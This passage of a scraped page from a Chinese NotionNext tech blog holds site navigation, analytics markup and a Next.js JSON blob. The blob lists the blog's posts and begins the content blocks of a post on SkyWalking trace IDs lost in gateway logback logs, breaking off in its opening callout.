busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2024-01-21</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
@@ -8,4 +8,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","blockMap":{"block":{"026c5c21-3604-4c0a-a13c-ccb9208e4815":{"value":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","version":670,"type":"page","content":["84e0b4e4-4d09-4735-852f-62349007a189","b267e4d3-fa97-49ee-869b-7703ce772c53","a2da58b3-7dae-4889-8059-2522ed89c7f6","a1dcafde-033c-49a8-9442-bd22aa378568","ddda7846-980f-4721-a3b4-b2953d261af9","2ec1c825-217c-429b-afee-6caa19a43975","f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","9b023386-b08f-4aa6-bef7-896a31790d84","53025e58-6041-4a0f-a4ec-5a552adfeaf2","a041e284-4a45-412e-b398-4a7ed69c1c37","849e8815-5eee-4e86-a63f-20722b7aa995","5bfd9a27-7898-41d8-b891-1bbc13be8d85","24317eef-356b-473c-b5c4-8ee8ec9f3ff4","9664075b-aae9-443c-947f-c212527f54e8","9af8dde9-01fa-4690-b577-e20d51ad4ffb","9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","a13d2aa7-aebc-496f-9cc5-a4265f2ca292","e043a384-8bde-4de7-9a50-37602c2ed361","7ff97387-22a0-429c-9c2c-4128b82bc66f","c4c8d23c-69ee-490b-9a74-0eeb131c14fb","66f7b00c-2f1b-42a0-af57-1ff1d633f955","3a2d209a-d79f-4540-828d-773a22eae9b4","1a36dd47-5252-42f6-ade2-80ed742fb9f4","4caba176-ac58-4988-b755-471afac1a52d","b4ef4f0c-8378-421c-a55f-90c3a012fe29","1c9a8144-f42c-4114-b5cc-a451b261c4a4","0166e46c-5c22-4924-85c8-358ee4206ae2","c8b1acfb-2578-4b1d-83ee-6f622e1bd843","14af7bb3-3a67-4f83-8626-f377c1c56369","4fdd346f-ce99-49d6-a7c7-728734284e76","ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","c6104167-a456-4af4-b62a-d87bd0dc5b7f","733c637e-92ba-4889-87a7-f84308daeb66","f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","5132098d-d3aa-4e40-ae84-0408e95d1039","1fc83cb3-1d07-43aa-bdea-0b706377887c","7bba3470-42ba-431c-9d63-49968c4ac543","c419ccc0-1429-4f18-af45-d9833e0282eb","91afc304-892f-42d3-bbcc-bb59e4fdd8d8","d9b07a77-5441-4573-8a13-db4be5c3ea3b","97e7928f-be51-43d0-b14d-05127bbeff35","e325c70e-f58c-478c-90b8-eccec3b5d808","584a5e58-4911-40f7-b4e8-67a14b578ba7","4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","0d136c13-f56c-470a-82fd-2edf46b9e1da","66932228-ed81-493f-ad40-f0cfa8a859d9","30bbe270-0897-4876-b780-500241acd206","a70ffef7-587f-481e-b2ef-c8635aa19049","754bfdec-4110-434d-855b-a46fd419c980","4efa436d-f550-4eda-ac48-8e6d733d8753","0d416ba8-81ec-4468-abaa-3458beed1f20","5df9de5c-e418-4045-ad9b-5003dbc43a99","c9f62dfd-e97e-45d1-afcf-f286342cbce3","eaafbb80-be83-4ef3-92b1-1df503ffe4f0","e7c407ce-c395-47c7-a594-0955b82cdb60","819553b3-aee8-4c8e-ba69-0120fe69cbd4","2da2c502-dcea-4989-b497-12bc4a5cf52b","e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","0e05852c-3ee2-4087-a126-3de4e0942a19","39cdd25c-bec1-4319-86b7-2b3db77e107a","19073c4d-640d-4621-9e5c-56a99d0255dc","65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","fc0bc607-3ddb-47e6-879b-5229ae258f71","f0568091-07d1-43b3-9a52-11cd0d74650d","31887616-fe32-43df-97c9-f850a7201f22","065453d6-fec4-45d0-a4a6-8ddd1d07b18c","19e3bbae-2412-427b-b58b-07013f336d4e","2fb486a5-74f6-4bcf-bf78-3f7142f7c121","80ee939b-8833-4392-a7e3-5687659406c1"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705767165151,"last_edited_time":1705776752627,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"84e0b4e4-4d09-4735-852f-62349007a189":{"value":{"id":"84e0b4e4-4d09-4735-852f-62349007a189","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"b267e4d3-fa97-49ee-869b-7703ce772c53":{"value":{"id":"b267e4d3-fa97-49ee-869b-7703ce772c53","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767401013,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"a2da58b3-7dae-4889-8059-2522ed89c7f6":{"value":{"id":"a2da58b3-7dae-4889-8059-2522ed89c7f6","type":"callout","properties":{"title":[["吴晟大佬:",[["b"]]],["Why ping me? The plugin is not written by me. I don't know anything about agent running in Spring 